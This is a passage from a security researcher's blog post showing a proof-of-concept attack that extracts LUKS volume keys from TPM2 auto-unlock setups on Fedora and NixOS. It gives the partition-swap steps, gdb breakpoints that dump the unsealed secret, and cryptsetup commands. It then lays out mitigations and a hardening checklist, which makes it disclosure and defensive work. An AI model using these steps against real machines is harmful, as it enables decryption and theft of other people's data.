[root@localhost]# mount /dev/mapper/original /mnt
[root@localhost]# cat /mnt/etc/os-release
NAME="Fedora Linux"
VERSION="41 (Server Edition)"
RELEASE_TYPE=stable
ID=fedora
VERSION_ID=41
VERSION_CODENAME=""
PLATFORM_ID="platform:f41"
PRETTY_NAME="Fedora Linux 41 (Server Edition)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:41"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f41/system-administrators-guide/"
SUPPORT_URL="https://ask.fedoraproject.org/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
REDHAT_BUGZILLA_PRODUCT_VERSION=41
REDHAT_SUPPORT_PRODUCT="Fedora"
REDHAT_SUPPORT_PRODUCT_VERSION=41
SUPPORT_END=2025-05-13
VARIANT="Server Edition"
VARIANT_ID=server

Success! Apart from researching all of the tools and their
internals this has been a rather simple process. I would even claim
that with some preparation we can repeat this reliably in under 10
minutes. All it takes is two disk swaps and a few reboots.

Finally I can rest easy knowing that my roommate can make a
surprise backup of my server’s data while I’m away 🎉. A solid
3-2-1(+1) strategy.

🔗 Proof-of-concept exploitation of a NixOS machine

This will be very similar to the previous PoC, so I skipped
a lot of the boilerplate this time. If you are not specifically
interested in NixOS or systemd-cryptenroll, you can jump to the
next section by clicking here.

Secure boot on NixOS is currently implemented by the awesome
lanzaboote
project, which does some things differently than what we just saw
on Fedora. Most notably we will enroll our own secure boot keys
(and can wipe the microsoft keys), our kernel and initrd will both
be fully signed as a UKI image and systemd-boot will not allow you
to edit the command line. Another small difference to the Fedora
setup is that we will use systemd-cryptenroll instead
of clevis.

In any case, the overall exploitation will be very similar, the
NixOS initrd also doesn’t verify LUKS identities (as of January
2025).

🔗 System setup

Fortunately, the setup is extremely simple with lanzaboote. I
recommend having a look at their Quick Start Guide in case you don’t know the project already.
I’ve added the full configuration of the test machine here, in case you want
to replicate this. The final setup steps were:

# Clear secure boot keys, start nixos live image, copy flake to live image, then:
[root@nixos]# alias nix='nix --experimental-features "nix-command flakes"'
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.diskoScript
/nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko
[root@nixos]# nix build --print-out-paths .#nixosConfigurations.nixos.config.system.build.toplevel
/nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e

# Format and install:
[root@nixos]# /nix/store/1a51ykfsdnc0rpzlawyy7rvb889l6874-disko  # Format disk(s)
[root@nixos]# nixos-install --no-root-password --system         # Install system
                /nix/store/5yqhbkqqw1kcr13157z4am1r5i02ll0d-nixos-system-nixos-25.05.20250110.130595e
[root@nixos]# nixos-enter --mountpoint /mnt -- sbctl create-keys # Create and enroll secure boot keys, need to rerun install afterwards to make lanzaboote happy

# Reboot and enroll LUKS key:
[root@nixos]# systemd-cryptenroll /dev/disk/by-partlabel/disk-main-luks --tpm2-device=auto --tpm2-pcrs=0+2+4+7
# ... Enter password ...
New TPM2 token enrolled as key slot 1.

🔗 Inspecting the system

This step works in the same was as it did for Fedora, but we
will find that the NixOS initrd works a bit differently – it itself
is a kind of mini-NixOS. The important information is the
following:

  • The mount commands for filesystems are in systemd units, which
    usually use UUIDs, labels or partlables to identify disks. In our
    case it will be partlabels, so we don’t even have to fake any
    UUIDs.
  • Once the initrd decrypts the root partition, it searches for
    the toplevel derivation by resolving the
    init=/nix/store/-nixos-system-.../init
    path
  • This toplevel derivation contains a prepare-root
    binary which is the first one that is executed. This is our entry
    point.

🔗
LUKS partition backup and overwrite

Next, we overwrite the LUKS partition and overwrite it with our
fake. We can reuse the same fake partition with the Alpine image as
on Fedora as it has the advantage of being very small. If the user
has /nix on a separate partition it may be simpler to
just build a small NixOS system and link the resulting toplevel
derivation to the path expected by the initrd.

Rebooting the original system with the modified disk will now
yield an Alpine root shell. After running tpm2_pcrread
we can verify that we have not changed any PCRs with our
modifications. To understand the differences of
systemd-cryptenroll over clevis, let’s
continue with some more detail from here:

Once again we will inspect the LUKS header of our backup, which
I’ve also copied over to the boot partition for easy access. We see
that systemd-cryptenroll creates a token in the LUKS
header, similar to clevis:

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak
LUKS header information
Version:        2
Epoch:          6
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           5a9d9566-aae2-49b9-abf5-c6f0a887159c
# [...]
Tokens:
  0: systemd-tpm2
    Keyslot:    1
# [...]

[root@localhost]# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
  "type": "systemd-tpm2",
  "keyslots": [ "1" ],
  "tpm2-blob": "AJ4AIPtjVjiz90zIPEHgRoJVpsix/e1tBRaMkOv0tWEBBKegABC5vMp9mQt81TjlRmtEhca98VfRuXxAoYcB5yjzShhTZhfCzwgXpC7rd5TETxBhvtWbo4BQULmZT29InkqpXRaO/b7DyXqLDQusdAfQO/lQSVxwWjVR576OFJUvAMPN6XEVyH8jDFd+F5FtuaEsYS4t46ThxMWa10ttRwBOAAgACwAABBIAIE8jssxPAKj8Duc+hrtEmIZxQS0Hv3Uptj92Ud33KVpBABAAIDBubaOpjc3KX/Lj0jHbe9plgv9wTIKYsUtFCKOGotRU",
  "tpm2-pcrs": [ 0, 2, 4, 7 ],
  "tpm2-pcr-bank": "sha256",
  "tpm2-policy-hash": "4f23b2cc4f00a8fc0ee73e86bb44988671412d07bf7529b63f7651ddf7295a41",
  "tpm2_srk": "gQAAAQAiAAt+KklPEEbTTiWnmjC8TapUFILGmpUxJHOLyhfoPjJpFwAAAAEAWgAjAAsAAwRyAAAABgCAAEMAEAADABAAIB/V/x4OEuiI/TAynXAqG6pJHrJH9GJoEtgjqa+C0AlkACDBNasZylLB/v5PdYsWfJgE/MXZeUi2LMVE/FXfbsyDAw=="
}

The token format is slightly different to that from
clevis, it just contains all necessarey information on
the toplevel without a roundtrip through JWE. To understand how the
values are supposed to be used, we need to understand what
systemd-cryptenroll does to unlock the disk. In the
systemd source code we find that the responsible function is called
static int tpm2_unseal(...). Instead of tediously
replicating all the unmarshalling logic, we can just call
systemd-cryptsetup through gdb and dump the decrypted
secret after that function was called:

gdb --args systemd-cryptsetup attach test /mnt/luks-original.img
# [...]
(gdb) break tpm2_unseal
Function "tpm2_unseal" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (tpm2_unseal) pending.
(gdb) run
Breakpoint 1, 0x00007ffff7bb2f90 in tpm2_unseal ()
(gdb) backtrace
#0  0x00007ffff7bb2f90 in tpm2_unseal () from libsystemd-shared-256.so
#1  0x00007ffff721d7e7 in acquire_luks2_key () from libcryptsetup-token-systemd-tpm2.so
#2  0x00007ffff721c60f in cryptsetup_token_open_pin () from libcryptsetup-token-systemd-tpm2.so
#3  0x00007ffff721caf5 in cryptsetup_token_open () from libcryptsetup-token-systemd-tpm2.so
# ...

By investigating the functions shown in the callstack, we see
that right before cryptsetup_token_open_pin() returns, it base64
encodes the unsealed secret which is later used as the slot 1 LUKS
password. So we just set a breakpoint to the base64 encoding
function and print the secret once it returns (the result pointer
is the third argument, so it will be passed via
rcx):

(gdb) break base64mem_full
(gdb) continue
(gdb) info registers
# ...
rcx            0x7fffffffc920      140737488341280 # pointer to base64 result
# ...
(gdb) set $a = $rcx # remember where the result will be stored
(gdb) finish
(gdb) printf "%sn", *(char**)$a
qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=

Let’s test this password by dumping the volume key.

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt 
                    --key-file <(echo -n "qvramS8M9tetETI1I53p6HWqh1avSqsj/uqpQbvE90s=")
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for copy.img
Cipher name:    aes
Cipher mode:    xts-plain64
Payload offset: 32768
UUID:           5a9d9566-aae2-49b9-abf5-c6f0a887159c
MK bits:        512
Key stored to file volume-key.txt.

[root@localhost]# cat volume-key.txt | hexdump
0000000 065a cc94 26c0 b0cc 4bcf bf73 e9bb 3c16
0000010 95da 149e 6881 1a5b e7f5 4b59 4bc9 db83
0000020 6008 d237 29a8 9fc7 7a83 dbbf 816e 5ad0
0000030 20fa 03f6 effd 39f5 1f78 8779 c501 35b6
0000040

Nice, we’ve successfully extracted the volume key again!
Finally, we need to restore the original disk header and are then
able to decrypt the whole disk. We can either decrypt it by
specifying the volume key explicitly, or simply enter the obtained
password. Since this is exactly the same as on Fedora, I have not
included it here.

🔗
Crude implementation of PCR15 verification

I’ve looked at all of this together with my friend @PatrickDaG, who has quickly
written a NixOS module which you can adapt to add a crude form of PCR
15 verification. Ideally we need something proper upstreamed into
nixpkgs, but ensuring the order of decryption is not super
simple.

🔗 What now?

It’s obviously a pity that the default initrd implementations
available on most distributions don’t include a verification step
out of the box. But there’s really nobody to blame here, as none of
the distributions advertise automatic TPM unlocking as a secure or
even supported configuration, and the guides I’ve linked to are
mostly blog posts from other hobbyists – who may just not have
known about this issue.

If you happen to have written about this before, please
update your post(s) to make your readers aware of the implications!
Thank you!

Unfortunately, I have also not found a simple solution that I
can recommend to you right now to actually fix the issue (except
for NixOS, see above). Enabling mandatory LUKS key measurement and PCR 15
verification in the initrd is just not something that is easily
available as a module or script right now (January 2025), so you’d
have to implement it yourself.

From what I learned when researching this, a proper
implementation would need to at least:

  • Predict the value of PCR 15 value at initrd generation
    time
  • Implicitly sign this value by adding it to the initrd
  • Extend PCR 15 at boot time with the volume key of every
    decrypted LUKS volume, while ensuring in a deterministic decryption
    order
  • Verify PCR 15 against the known and signed value
    before utilizing any data from one of the the encrypted
    disks

The easiest way to protect your data right now is to bite the
bullet and add a TPM PIN, for example by using
systemd-cryptenroll --tpm2-with-pin=yes [...] when
enrolling your key.

🔗 Conclusion

We’ve successfully carried out a filesystem confusion attack on
two completely different systems to extract their secret volume
key, and have seen that the majority of articles about TPM2
auto-unlock setups are likely vulnerable to this attack.

We learned that this problem is not easily fixed, as it requires
an additional verification step that cannot simply be activated on
most distributions at present. It is critical to ensure that there
is an unbroken chain of trust from the bootloader to the actual
system.

Here is a checklist of things to consider when setting up TPM2
auto-unlock:

  • Your kernel and initramfs are both signed and verified (UKI or
    MOK), or you are using PCR 9 together with a shim that hashes the
    images at boot time.
  • You have enrolled a LUKS key in the TPM2 on at least PCR 7 (+9
    if necessary).
  • If you are decrypting multiple devices in the initrd, their
    decryption order is deterministic.
  • After decryption – and before any user executable is called –
    the initramfs verifies the identity of all encrypted disks,
    preferably by measuring a derivative of the volume key into PCR 15
    for each disk.
  • Your initrd’s emergency shell (if any) is
    password-protected.
  • Your bootloader does not allow you to alter the kernel command
    line, or you’ve included a PCR used in the LUKS key enrollment that
    depends on the kernel command line.

Thank you for taking the time to read this article – I hope you
found it both interesting and enjoyable 😊.


If you’d like to send me feedback or just reach out, feel free
to contact me on Matrix!

Related Articles

Back to top button